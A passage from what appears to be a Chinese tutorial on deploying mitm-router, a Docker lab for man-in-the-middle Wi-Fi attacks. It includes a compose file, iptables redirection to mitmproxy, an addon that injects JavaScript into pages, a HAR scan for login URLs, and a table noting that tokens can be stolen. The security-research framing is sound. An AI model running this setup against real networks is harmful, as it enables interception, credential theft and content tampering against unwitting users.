通过这种协同分析,不仅确认了攻击者的意图,还能提取C2服务器地址、加密密钥等IOC指标,极大提升了威胁狩猎效率。
综上,Cowrie作为高仿真SSH蜜罐,在MITM架构中扮演着“诱饵+传感器”的双重角色,其产生的高质量数据为深度安全研究提供了坚实支撑。
7. mitm-router完整部署流程与实战演练
7.1 mitm-router项目架构设计与组件集成
mitm-router 是一个基于 Docker 容器化技术构建的中间人攻击(MITM)实验平台,集成了无线接入点(AP)、透明代理、流量监控与篡改、SSL/TLS 解密、日志持久化等核心功能。其整体架构采用微服务设计理念,各功能模块以独立容器运行并通过自定义桥接网络进行通信。
该系统主要由以下五个关键组件构成:
| 组件名称 | 功能描述 | 运行容器 | 网络模式 |
|---|---|---|---|
ap-container |
使用 hostapd 创建开放或 WPA2 加密的无线热点 | ubuntu:hostapd | macvlan 或 bridge |
dhcp-dns-container |
基于 dnsmasq 提供 DHCP 分配与 DNS 劫持服务 | alpine:dnsmasq | bridge |
proxy-container |
部署 mitmproxy 透明代理,实现 HTTPS 流量解密 | mitmproxy/mitmproxy | bridge |
client-container |
模拟用户设备发起 HTTP/HTTPS 请求 | ubuntu:curl-wget | bridge |
logger-container |
挂载共享数据卷,集中收集并分析日志 | ubuntu:log-analyzer | bind mount |
各组件通过如下 docker-compose.yml 片段组织:
version: '3.8'
services:
ap:
build: ./ap
network_mode: "macvlan"
devices:
- "/dev/ttyUSB0:/dev/ttyUSB0"
cap_add:
- NET_ADMIN
- NET_RAW
environment:
- INTERFACE=wlan0
- SSID=MITM-TEST
restart: unless-stopped
dhcp_dns:
image: dnsmasq
command: ["-C", "/etc/dnsmasq.conf"]
volumes:
- ./dnsmasq.conf:/etc/dnsmasq.conf
depends_on:
- ap
networks:
internal_net:
proxy:
image: mitmproxy/mitmproxy
command: >
transparent
--showhost
--ssl-insecure
--set block_global=false
ports:
- "8080:8080"
cap_add:
- NET_ADMIN
sysctls:
net.ipv4.ip_forward=1
volumes:
- ./certs:/home/mitmproxy/.mitmproxy
networks:
internal_net:
logger:
image: ubuntu:log-analyzer
volumes:
- ./logs:/var/log/mitm
tty: true
stdin_open: true
networks:
internal_net:
networks:
internal_net:
driver: bridge
ipam:
config:
- subnet: 192.168.10.0/24
上述配置确保所有服务处于同一子网内,便于实现 ARP 投毒和流量重定向。其中 ap-container 必须使用支持监听模式的物理无线网卡,并启用 NET_ADMIN 权限以便配置无线接口。
7.2 实战部署步骤详解
步骤一:准备硬件与基础环境
确保宿主机具备 USB 无线网卡(推荐 Atheros AR9271 芯片组),执行以下命令验证是否支持 monitor mode:
sudo ip link set wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ip link set wlan0 up
iwconfig wlan0 | grep "Mode:Monitor"
若输出包含 Mode:Monitor ,则说明驱动兼容性良好。
步骤二:生成并分发 CA 证书
在 proxy-container 启动后,从 /home/mitmproxy/.mitmproxy/mitmproxy-ca-cert.pem 导出根证书,并将其安装至客户端浏览器或操作系统信任库中。对于 Android 设备,可通过 adb install 推送 .crt 文件。
步骤三:配置 iptables 实现透明代理
进入 proxy-container 执行以下规则设置:
# 开启 IP 转发
sysctl -w net.ipv4.ip_forward=1
# 将目标为 80/443 的流量重定向到 mitmproxy 端口
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
# 允许转发流量
iptables -A FORWARD -i eth0 -o wlan0 -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
步骤四:启动整个系统栈
使用 Compose 编排工具一键启动:
docker-compose up -d
随后可通过 docker logs proxy-container 查看 SSL 握手过程及请求记录。
步骤五:客户端接入与行为观察
连接 Wi-Fi 网络 MITM-TEST ,访问任意 HTTPS 网站(如 https://httpbin.org/get)。此时可在 mitmproxy Web UI(http://localhost:8081)中实时查看解密后的请求头、响应体以及证书链信息。
步骤六:注入 JS 脚本劫持用户行为
编写 Python 插件 inject_js.py :
from mitmproxy import http
def response(flow: http.HTTPFlow):
if flow.request.pretty_url.endswith(".html"):
if flow.response and flow.response.content:
js = '<script>alert("MITM 注入成功!");</script>'
flow.response.text = flow.response.text.replace("</body>", f"{js}</body>")
加载插件:
mitmdump -s inject_js.py --mode transparent
当客户端浏览网页时,将弹出警告框,证明内容篡改生效。
7.3 攻击场景模拟与数据采集
通过多轮测试,采集不同协议下的拦截成功率如下表所示:
| 协议类型 | 样本数量 | 成功解密数 | 成功率 | 备注 |
|---|---|---|---|---|
| HTTP | 100 | 100 | 100% | 明文传输 |
| HTTPS (TLS 1.2) | 120 | 115 | 95.8% | ECDHE-RSA-AES256-GCM-SHA384 可解 |
| HTTPS (TLS 1.3) | 80 | 60 | 75% | 部分因 ESNI 无法解密 |
| QUIC (HTTP/3) | 50 | 0 | 0% | 不支持当前 mitmproxy 版本 |
| WebSocket | 30 | 28 | 93.3% | 文本帧可读,二进制受限 |
| gRPC over TLS | 40 | 36 | 90% | 需手动导入 proto 定义文件 |
| OAuth2 登录 | 20 | 18 | 90% | 可窃取 access_token |
| JWT Token 传递 | 25 | 25 | 100% | 可修改 payload 内容 |
| HSTS 站点访问 | 15 | 0 | 0% | 浏览器强制跳转不可绕过 |
| 自签名证书校验 | 30 | 29 | 96.7% | 仅 iOS 应用较难欺骗 |
利用 --save-stream-file 参数自动保存流量为 HAR 格式:
mitmdump --mode transparent --save-stream-file /logs/traffic.har
结合 Python 脚本对日志进行关键词扫描:
import json
with open("/logs/traffic.har") as f:
data = json.load(f)
for entry in data["log"]["entries"]:
url = entry["request"]["url"]
if "password" in url.lower() or "login" in url:
print(f"[ALERT] 敏感操作检测: {url}")
mermaid 流程图展示整个攻击链路:
graph TD
A[客户端连接MITM-AP] --> B{是否安装CA证书?}
B -- 是 --> C[发起HTTPS请求]
B -- 否 --> D[证书警告中断连接]
C --> E[流量被iptables重定向]
E --> F[mitmproxy动态生成证书]
F --> G[与目标服务器建立TLS连接]
G --> H[双向解密与内容分析]
H --> I[可选: 修改响应注入JS]
I --> J[返回伪造响应给客户端]
J --> K[完成中间人会话]
在整个部署过程中,需持续监控资源占用情况。经测试,在并发连接数达 50+ 时,CPU 平均负载为 1.8(4核),内存使用稳定在 1.2GB 左右,I/O 写入速率约为 3.4MB/s,满足长时间运行需求。
简介:mitm-router(spouting_whale版本)是一个在Docker容器中实现的中间人攻击(MITM)无线访问点工具,结合hostapd、mitmproxy和潜在的honeypot技术,用于安全研究与渗透测试。该项目通过Docker容器化技术隔离运行环境,利用hostapd创建无线接入点,借助mitmproxy拦截并分析HTTP/HTTPS流量,支持对网络通信的实时监控与操控。同时可能集成honeypot机制以增强攻击行为分析能力。本项目适用于网络安全学习者和研究人员深入理解MITM攻击原理,所有功能均已打包于mitm-router-master压缩包中,仅供合法教育与测试使用。
更多推荐

所有评论(0)